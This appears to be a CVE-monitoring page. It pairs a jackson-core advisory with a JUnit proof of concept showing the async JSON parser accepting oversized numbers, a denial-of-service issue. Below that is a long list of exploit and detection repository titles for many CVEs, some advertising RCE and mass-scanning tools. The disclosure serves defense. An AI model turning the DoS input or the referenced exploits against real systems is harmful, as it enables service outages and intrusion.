### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
PoC: TLPE
CVE-2026-49881, a logic issue in the InCallController class in Android 17's Telecom service that allows an unprivileged app to gain arbitrary code execution as UID 1000 system_server
PoC: cve-2026-75650-magento-validation-lab
Docker lab for validating the CVE-2026-75650 Magento component-level PHP execution primitive and Adobe VULN-39341 patch.
PoC: BLUE-WRITEUP-CVE-2017-0144
Conducted a complete security assessment of an unpatched Windows 7 target ("Blue") to demonstrate the impact of legacy service vulnerabilities in an enterprise environment
PoC: POC-AIOWPM-CVE-2026-19949
PoC funcional de CVE-2026-19949 (AIOWPM): SQLi de segundo orden no autenticada en All-in-One WP Migration <= 7.109 via regex de replace_table_values. Laboratorio Docker + payload derivado (leak de ai1wm_secret_key por REST anonima) + RCE con importacion anonima.
PoC: CVE-2026-28576-poc
SQL injection vulnerability in Android 17 (AOSP)
PoC: CVE-2026-51990
CVE-2026-51990 - Draft or TODO
PoC: AfterLife
Revocation persistence detection lab: when the password reset succeeds but the attacker never leaves. Reproduces the Strapi CVE-2026-22706 conditional-revocation bug, its fix, a three-rule detection pack, and the naive rule that misses it.
PoC: CVE-2026-18351
CVE-2026-18351 — Drag and Drop File Upload for Elementor Forms <= 1.6.0 Unauthenticated Arbitrary File Upload -> RCE
PoC: Exploit-CVE-2026-18351
Drag and Drop File Upload for Elementor Forms - Unauthenticated Arbitrary File Upload to RCE.🔥
PoC: scadapack-secure-lock-poc
Sanitized offline fixture verifier for CVE-2026-81861 in SCADAPack Secure Lock
PoC: retbleed-speculative-execution-poc
Reproduction of the Retbleed (CVE-2022-29900/29901) micro-architectural attack in gem5. RSB underflow, Flush+Reload side-channel leak, and a verified lfence mitigation.
PoC: CVE-2026-41089-Netlogon
🛡️ Official AI Security Tool diagnostic module for CVE-2026-41089 (Windows Netlogon Stack Buffer Overflow RCE). Features technical writeup, attack architecture, IoCs, and mitigation strategy.
PoC: OMG_KILLER
Автоатакующий скрипт на базе эксплойтов CVE-2024-37890 и OOM 2026
PoC: CVE-2026-19490-check
Safely detect Citrix NetScaler SAML auth bypass CVE-2026-19490
PoC: CVE-2026-78804_Dolibarr_authenticated_SQL_injection
The action responsible for setting the per-warehouse stock alert threshold (`seuil_stock_alerte`) accepts user-controlled input and later incorporates it into an SQL query without proper numeric casting or parameter binding. #dolibarr #exploit
PoC: TryHackMe-Blue-MS17-010
Walkthrough, threat analysis, and remediation guide for CVE-2017-0144 (EternalBlue).
PoC: CVE-2026-0303
CVE-2026-0303 POC
PoC: CVE-2026-73786
Might be used to share PoC and findings regarding CVE-2026-73786 in the future
PoC: inference-gateway-PoC
PoC — cross-origin requests reuse the configured provider API key in inference-gateway (GHSA-5293-fcm6-fh8v, CVE-2026-87009, CVSS 5.4).
PoC: cve-2026-86060
Mikrotik CVE-2026-86060 Score 9.2 Critical
PoC: CVE-2016-3223
CVE-2016-3223 - Draft or TODO
PoC: RootMyVivo-Exploit
GhostLock (CVE-2026-43499) exploit fork for RootMyVivo Neo — iQOO Neo 11 (PD2520, SM8750, 6.6.89). For authorized research on own devices only.
PoC: CVE-2025-27636-RCE-in-Apache-Camel
CVE-2025-27636 PoC written in Python
PoC: CVE-2026-77578
PoC for CVE-2026-77578 - Authenticated Arbitrary Local File Read in Xibo CMS
PoC: openfire-ssrf-cve-2019-18394
PoC for CVE-2019-18394: unauthenticated full-read SSRF in Openfire <= 4.4.2 FaviconServlet
PoC: Exploit-CVE-2023-6063-PoC-Vuln
CVE-2023-6063-PoC Exploit
PoC: cve-2026-41940-PoC-Linux
CVE-2026-41940 PoC - Linux/Termux Compatible Version
PoC: CVE-2026-11387-WooCommerce-SMS-OTP
SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress; SMS Alert <3.9.6; Unauthenticated Privilege Escalation (Forced Password Reset)
PoC: HTB_Helix_CVE-2023-34468
Writeup of the Hackthebox Helix machine
PoC: CVE-2026-79387-PbootCMS-SQL-Injection
CVE-2026-79387-PbootCMS-SQL-Injection
PoC: Mikrotrick_POC
Testing tool for the Mikrotrick exploit (CVE-2026-67276)
PoC: CVE-2024-44625-Gogs-RCE-0.13.0
No issue for run this exploit.
PoC: CVE-2025-3248
An educational reference and defensive analysis of CVE-2025-3248, a critical code injection vulnerability affecting Langflow.
PoC: CVE-2026-67401-cPanel-EmailTrack-SQLi
CVE-2026-67401 cPanel & WHM EmailTrack SQL Injection — IOC scanner, compromise detection, patch verification, incident response and remediation toolkit.
PoC: CVE-2026-67401
poc in python for CVE-2026-67401
PoC: FortiLOL
FortiClient FortiShield exploit (CVE-2015-5736) for Windows 10 1809
PoC: CVE-2026-67401
CVE-2026-67401 - Draft or TODO
PoC: CVE-2026-62201-OpenClaw-SSRF
Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.
PoC: CVE-2024-2961-XXE-Exploit
CVE-2024-2961 (CNEXT) PHP file-read to RCE exploit adapted to an XXE/CTF channel
PoC: Certighost_CVE-2026-54121
AD CS 证书身份伪造漏洞，属于ESC（Exploit Certification）系列 的新成员
PoC: CVE-2026-83991-writeup-and-poc
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83991
PoC: CVE-2026-19089-WooCommerce-Tyche
CVE-2026-19089 WooCommerce Tych Remote Command Execution
PoC: GhostLock-NVIDIA-Shield-9.2.4
Validated GhostLock CVE-2026-43499 port for NVIDIA Shield TV Pro mdarcy 9.2.4
PoC: CVE-2025-8110
CVE-2025-8110 - Gogs <=0.13.x symlink bypass -> arbitrary file write as the Gogs process user
PoC: CVE-2025-58434
CVE-2025-58434 - Flowise (CVE-2025-58434) unauthenticated account takeover via password-reset token disclosure
PoC: CVE-2025-55182
CVE-2025-55182 - React2Shell (CVE-2025-55182) unauthenticated RCE via React Server Components Flight deserialization
PoC: ClickHouse-Native-JDBC
Serpstat fork of housepower/ClickHouse-Native-JDBC 2.7.1. Fixes the CityHash128 checksum defect behind "Checksum doesn't match: corrupted data" on INSERT, upgrades aircompressor to 0.27 (CVE-2024-36114). Drop-in: com.serpstat:clickhouse-native-jdbc-shaded:2.7.1-serpstat.1. Apache 2.0.
PoC: CyberhawksLab-telnetCVE
Writeup/finding of CVE-2026-24061 within the Cyberhawks lab
PoC: CVE-2026-39987
Marimo Pre Authentication RCE
PoC: sift-hardened
Security-hardened fork of sift 17.1.3 for CVE-2026-85625. Not affiliated with crcn/sift.js.
PoC: CVE-2026-82222
⚡ GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP <= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. ⚠️ Authorized testing only.
PoC: CVE-2026-85046
CVE-2026-85046 | Chrome V8 Type Confusion in Inline Array.prototype.sort (Maglev/Turbofan) | CVSS 8.8 | CWE-843 | Chrome < 152.0.7977.82
PoC: CVE-2026-74239
Sanitized XenForo write-up and proof of concept for CVE-2026-74239.
PoC: CVE-2026-73321
Sanitized XenForo write-up and proof of concept for CVE-2026-73321.
PoC: CVE-2026-73320
Sanitized XenForo write-up and proof of concept for CVE-2026-73320.
PoC: CVE-2026-73319
Sanitized XenForo write-up and proof of concept for CVE-2026-73319.
PoC: CVE-2026-73318
Sanitized XenForo write-up and proof of concept for CVE-2026-73318.
PoC: CVE-2026-73317
Sanitized XenForo write-up and proof of concept for CVE-2026-73317.
PoC: CVE-2026-73316
Sanitized XenForo write-up and proof of concept for CVE-2026-73316.
PoC: CVE-2026-73315
Sanitized XenForo write-up and proof of concept for CVE-2026-73315.
PoC: CVE-2026-73314
Sanitized XenForo write-up and proof of concept for CVE-2026-73314.
PoC: CVE-2026-73313
Sanitized XenForo write-up and proof of concept for CVE-2026-73313.
PoC: CVE-2026-73312
Sanitized XenForo write-up and proof of concept for CVE-2026-73312.
PoC: CVE-2026-73311
Sanitized XenForo write-up and proof of concept for CVE-2026-73311.
PoC: CVE-2026-73310
Sanitized XenForo write-up and proof of concept for CVE-2026-73310.
PoC: CVE-2026-73309
Sanitized XenForo write-up and proof of concept for CVE-2026-73309.
PoC: guardskill
Read-only scanner for git settings that let a repository run code in coding agents (Claude Code, Codex, Cursor, Copilot). Covers the GitSpawn class and CVE-2026-45033. No dependencies, no network, no telemetry.
PoC: cve-2010-4221-lab
From patch to RCE: hand-built exploit for CVE-2010-4221 (ProFTPD TELNET IAC stack overflow), with the full failure-driven journey documented
PoC: netty-http-check
CVE-2026-59903 / CVE-2026-33870: offline checker for the 14 io.netty:netty-codec-http CVEs. Netty ships all modules under one version number but each has its own fix version — 4.1.136.Final (the netty-codec-http2 answer) still leaves this module exposed; it needs 4.1.137.Final / 4.2.17.Final.
PoC: metasploit-lab-report
Educational penetration testing lab report demonstrating exploitation of vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) in Metasploitable 2 using Metasploit Framework. Includes detailed documentation of reconnaissance, vulnerability analysis, configuration, verification, and exploitation phases.
PoC: CVE-2026-8069
Technical write-up and PoC for CVE-2026-8069 in Acer NitroSense and PredatorSense
PoC: stylesmuggler-adobe-patches-mageos
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Mage-OS stores, via cweagans/composer-patches. Companion to stylesmuggler-adobe-patches (Magento).
PoC: CVE-2026-8732-PoC
CVE-2026-8732 | WP Maps Pro <= 6.1.0 Unauth Admin Creation
PoC: stylesmuggler-adobe-patches
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Magento, via cweagans/composer-patches. Auto-selects the patch for your Magento version.
PoC: cve-2026-40369-exploit
Exploit inspired by `https://voidsec.com/cve-2026-40369-browser-sandbox-escape/`. Use Feature_RestrictKernelAddressLeak and forge token to Elevate privileges
PoC: CVE-2026-83548-CVE-2026-83549
CVE-2026-83548, CVE-2026-83549, - Draft or TODO - https://github.com/rapid7/metasploit-framework/pull/21883
PoC: hdwebmobile-booking-appointments
Sell bookable services and appointments through WooCommerce -- closes CVE-2026-2931 by construction.
PoC: CVE-2026-52307
Public reference for CVE-2026-52307
PoC: CVE-2026-10795
CVE-2026-10795 - Draft or TODO
PoC: CVE-2025-47981
Assessment script — CVE-2025-47981 SPNEGO NEGOEX heap overflow (CVSS 9.8, wormable). Checks ntoskrnl.exe version, PKU2U registry key, exposed ports. Detection only · KB5062560 · July 2025.
PoC: log4shell-exploitation-detection
Log4Shell (CVE-2021-44228) exploitation from a Kali VM against a vulnerable containerized app, with Splunk-based detection engineering and validated remediation. Covers the full attack lifecycle: exploitation, JNDI and host-level auditd detection, and before/after remediation proof.
PoC: cve-2015-3306-lab
Reproducible Docker lab + raw-socket exploit for CVE-2015-3306 (ProFTPD mod_copy pre-auth arbitrary file copy) — a patch-diffing learning exercise
PoC: CVE-2026-69451-PoC
PoC for the CVE-2026-69451 - Fastprox EoP
PoC: CVE-2026-39987-PoC
CVE-2026-39987 Proof of Concept
PoC: misfortune-cookie
This interactive suite targets CVE-2014-9222 (Misfortune Cookie) in legacy RomPager web servers, alongside modular testing for CVE-2017-17215 (Huawei HG532 RCE), CVE-2018-14847 (MikroTik WinBox credential leak), and the CVE-2021-27101 / CVE-2021-27102 exploit chain (Accellion FTA).
PoC: CVE-2026-77276-PoC
CVE-2026-77276 pre-auth macro RCE via convert-to on Collabora Online
PoC: CVE-2023-52356-libtiff-analysis
Root-cause analysis and patch validation of CVE-2023-52356 in libtiff using AddressSanitizer and GDB.
PoC: BlueGate-CVE-2020-0609
BlueGate Exploit validator - RD Gateway validator for CVE-2020-0609 and CVE-2020-0610 (BlueGate) using OpenSSL DTLS over UDP/3391.
PoC: CVE-2022-4140
WordPress plugin Welcart e-Commerce < 2.8.5 - Arbitrary File Read
PoC: CVE-2026-81780-Hash-Form
CVE-2026-81780 — Hash Form RCE
PoC: CVE-2026-82329-JFrog-Artifactory-
CVE-2026-82329 — JFrog Artifactory Auth Bypass
PoC: cs50-cybersecurity-final-project
CS50 Cybersecurity Final Project: Technical Analysis of the XZ Utils Backdoor (CVE-2024-3094)
PoC: gha-lab-00d54c717d
Security-research lab: CVE-2026-47172 (workflow_run pwn request in deploy.yaml) — flattened snapshot of duck-organization/questbot at 1903b2f
PoC: stylesmuggler-ioc-toolkit
StyleSmuggler (CVE-2026-75650) IOC toolkit for Magento Open Source and Adobe Commerce. Detect compromised stores, Rust implants, PHP web shells, persistence artifacts, and known indicators of compromise.
PoC: CVE-2026-33234
SSRF via smtplib raw TCP sockets bypassing HTTP blocklist in AutoGPT SendEmailBlock
PoC: CVE-2025-5548
Buffer overflow in FreeFloat FTP Server 1.0
PoC: gitssrf-gim-cve-parent
gitssrf-gim CVE-2025-48384 parent
PoC: 2009
Linux Kernel Exploits -> CVE-2009-1185 + CVE-2009-1337 + CVE-2009-2692 + CVE-2009-2698 + CVE-2009-3547
PoC: 2008
Linux Kernel Exploits -> CVE-2008-0600 + CVE-2008-0900 + CVE-2008-4210
PoC: 2006
Linux Kernel Exploits -> CVE-2006-2451 + CVE-2006-3626
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free